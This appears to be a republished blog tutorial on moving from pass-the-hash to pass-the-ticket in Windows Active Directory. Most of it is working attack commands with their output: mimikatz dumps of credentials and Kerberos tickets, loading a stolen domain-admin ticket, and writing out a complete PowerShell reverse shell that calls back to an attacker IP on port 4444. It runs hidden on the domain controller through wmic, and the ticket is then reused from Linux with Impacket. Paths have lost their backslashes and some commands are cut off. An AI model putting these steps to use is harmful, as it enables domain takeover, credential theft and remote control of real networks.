From pass-the-hash to pass-the-ticket with no pain 2023

We are all grateful to Microsoft for giving us the opportunity to use the “From pass-the-hash to pass-the-ticket” technique! In short: if we have NTLM hashes of a user’s password, we can authenticate against a remote system without knowing the actual password, just using the hashes.

Things were (finally) changing, starting with Windows 7 Microsoft tried to “fix” this vulnerability with dubious results (excellent article here:

But with the advent of Windows 2012R2 and the corresponding level of domain functionality, it is possible to completely disable NTLM authentication and subsequently PTH for domain users belonging to the special group “Protected Users Group”.

Sure, using the metepreter session, we could easily load the “anonymous” module and impersonate the domain administrator who just logged in by “stealing” his Kerberos ticket:

And with this convenient shell begin our lateral movement:

But what if we can’t use Metasploit or similar tools because we are blocked by antivirus?

Game Over? No! We have Kerberos Authentication to play with. Instead of handing over a hash, we’ll hand over a ticket!

Imagine this scenario[From pass-the-hash to pass-the-ticket]:

We have a remote shell – reverse or bind, for example PowerShell – with Local System privileges obtained on the MSSQL server via xp_cmdshell via sqlinjection
With our obfuscated version of .ps1 “mimikatz”, we cannot capture the cleartext passwords of the logged in domain admin because we have to face a Windows 2012 server:

mimikatz(powershell) # securlsa::logonpasswords

Authentication ID: 0; 389848 (00000000:0005f2d8)

Session: Interactive from 2

Username: admin


Login server: SERVER2012DC

Login time : 12/05/2017 18:45:15

SID : S-1-5-21-3534665177-2148510708-2241433719-500


[00010000] CredentialKeys

  • RootKey: xxxxx
  • DPAPI: yyyyy



  • Username: Administrator
  • Domain: MYDOMAINB
  • Password: (null)


  • Username: admin
  • Password: (null)

ssp : KO


And the following command does not tell us anything about all the keys associated with the domain administrator:

mimikatz(powershell) # securlsa::ekeys

Now we are pretty sure that our domain admin belongs to a special “protected users group”.

So let’s play with Kerberos!

First, let’s see if we can export all kerberos tickets.

mimikatz(powershell) # securlsa::tickets /export

PS C:testtemp> get-childitem | select a name



[0;3e4][email protected]

[0;3e4][email protected]

[0;3e4][email protected]

[0;3e4][email protected]

[0;3e4][email protected]

[0;3e7][email protected]

[0;3e7][email protected]


[0;3e7][email protected]

[0;3e7][email protected]

[0;3e7][email protected]

[0;5f2d8][email protected]

[0;5f2d8][email protected]

Good point! We have all the tickets, and the most interesting one is the TGT (Ticket Granting Ticket) for the domain administrator who logged into this server:

[0;5f2d8][email protected]

Let’s rename the file to “admin.krb”

PS C:testtemp> copy “*[email protected]” admin.krb

PS C:testtemp> dir *.krb

Directory: C:testtemp

Mode LastWriteTime Length Name

—- —————————-

-a— 5/12/2017 7:17 PM 1605 admin.krb

We have everything we need, time to load this ticket and impersonate the domain administrator. How? With the mimimkatz “Pass the Ticket” feature!

mimikatz(powershell) # kerberos::ptt admin.krb

  • File: ‘admin.krb’: OK

The ticket has been loaded successfully. Time to check it out:

PS C:testtemp> clist

Current LogonId is 0:0x3e7

Cached tickets: (1)

0> Client: Admin @ MYDOMAINB.LOCAL


KerbTicket encryption type: AES-256-CTS-HMAC-SHA1-96

Ticket flags 0x40e10000 -> forwarding recoverable initial pre_authent name_canonicalize

Start time: 16/05/2017 22:13:31 (local)

End time: 17/05/2017 8:13:31 (local)

Restore time: 23/05/2017 22:13:31 (local)

Session key type: AES-256-CTS-HMAC-SHA1-96

Cache flags: 0x1 -> PRIMARY

Kdc named:

Great! Ticket charged and valid for 10 hours, which is the default lifetime of TGT tickets.

So we can impersonate the administrator, we’ll check by copying the file to the C: drive of the domain controller:

PS C:testtemp> copy test.txt server2012dcc$

PS C:testtemp> dir server2012dcc$

Directory: server2012dcc$

Mode LastWriteTime Length Name

—- —————————-

d—- 8/22/2013 5:52 PM PerfLogs

d-r– 2/17/2017 8:23 AM Program Files

d—- 1/14/2017 7:35 AM Program Files (x86)

d—- 3/29/2017 10:03 PM temp

d—- 4/30/2017 4:39 PM test

d-r– 2/17/2017 8:28 AM Users

d—- 3/30/2017 0:21 AM Windows

-a— 5/16/2017 10:51 PM 10 test.txt

The file was successfully copied because we have domain admin rights!

Remember: you must refer to the remote server with its hostname and NOT its IP address, otherwise NTLM authentication would occur.

And from now on we could use the awesome wmic.exe utility for our lateral movement given that it is possible to remote process using Kerberos authentication

For example, run a remote reverse PowerShell with domain administrator rights using our Kerberos ticket.

First, create our ps1 script:

PS C:testtmp>echo ‘$client = New-Object System.Net.Sockets.TCPClient(“OUR_IP”,4444)’ > rev.ps1

PS C:testtmp>echo ‘$stream = $client.GetStream()’ >> rev.ps1

PS C:testtmp>echo ‘[byte[]]$bytes = 0..65535|%{0}’ >> rev.ps1

PS C:testtmp>echo ‘while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ‘ >> rev.ps1

PS C:testtmp>echo ‘$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) ‘ >> rev.ps1

PS C:testtmp>echo ‘$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> ” ‘ >> rev.ps1

PS C:testtmp>echo ‘$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) ‘ >> rev.ps1

PS C:testtmp>echo ‘$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()} ‘ >> rev.ps1

PS C:testtmp>echo ‘$client.Close() ‘ >> rev.ps1

Copy it to DC:

PS C:testtmp>copy rev.ps1 server2012dcc$windowstemp

And run it on DC:

PS C:testtmp> wmic /authority:”kerberos:MYDOMAINBSERVER2012DC” /node:SERVER2012DC process call create “powershell -executionpolicy bypass -windowstyle hidden -f c:windowstemprev.ps1”
Running (Win32_Process)->Create()
The execution of the method was successful.
Out parameters:
instance of __PARAMETERS
ProcessId = 4528;
Return value = 0;

Amazing shell, isn’t it?

Okay, now let’s take it a step further. What if we used this ticket to access a remote Windows system from our Linux box? Possible? Oh yes!

First we need to install Kerberos (apt-get install krb5-user or yum install krb5-workstation).

Second, we need to convert our admin.krb ticket from “kirbi” format to “ccache” format. How? With “kekeo” (by Benjamin Deply, author of mimikatz) with the Kerberos Playset, which you can download here:

This kit must be built using Visual Studio (I used the 2015 version) along with the commercial ASN.1/C library.

Download and install the ASN.1/C 64-bit version with the supplied demo license

Download the kekeo suite to a dedicated directory (eg: c:kekeo)
Copy asn1dflt.msx64.zp8 located in winx64[.tria]l10.4.0.1asn1dflt to c:kekeomodulesasn1
In ASN1. Studio, open the project: c:kekeomoduleskull_m_kerberos_asn1.a1sproj and generate the files with Project/Compile


Then you need to copy from the OSS ASN.1/C installation directory

includeossasn1.h into c:kekeoinc
includeosstype.h into c:kekeoinc
libtoedcode.libto c:kekeolib
libossiphlp.libto c:kekeolib
Rename “kull_m_kerberos_oss_asn1_internal.c” to “kull_m_kerberos_oss_asn1_internal_x64.c” in c:kekeomodulesasn1

It’s time to generate our solution from Visual Studio by opening the kekeo.sln project:

If everything works well, we will compile your executable file “kekeo.exe”. (Don’t forget to disable the “stop compilation on warning” /WX- option in the C++ compiler option in Visual Studio.

Then download your admin.krb ticket and convert it to ccache format:

Now we have a ticket in .ccache format, we copy it to our Linux box and load it.

First, we need to synchronize the time with the domain controller, otherwise we might have problems with Kerberos Kerberos authentication, which is partially based on ticket timestamps.

rdate -n

Fri May 19 02:49:23 CEST 2017

Then copy the ticket file to the correct location (or just set the KRB5CCNAME environment variable to the correct location):

cp amdin.ccache /tmp/krb5cc_0

The “klist” command will confirm that the ticket has been loaded correctly:

Ticket cache: FILE:/tmp/krb5cc_0

Default principal object: [email protected]

Valid from Expires Principle of service

03/29/2017 21:26:37 03/30/2017 7:26:37 krbtgt/[email protected]

extend until 05/04/2017 21:26:37

At this point, we only need a tool that enables Kerberos authentication, such as from Impacket ( -k -debug -no-pass -dc-ip mydomainb.local/[email protected]

On our Linux box we have our cmd shell with Kerberos authentication using our exported ticket!

We can also use -k -no-pass -dc-ip mydomainb.local/[email protected]

also read:UEFI Boot vs. the MBR/VBR Boot Process-byBlackhat Pakistan 2023

Leave a Reply

Your email address will not be published. Required fields are marked *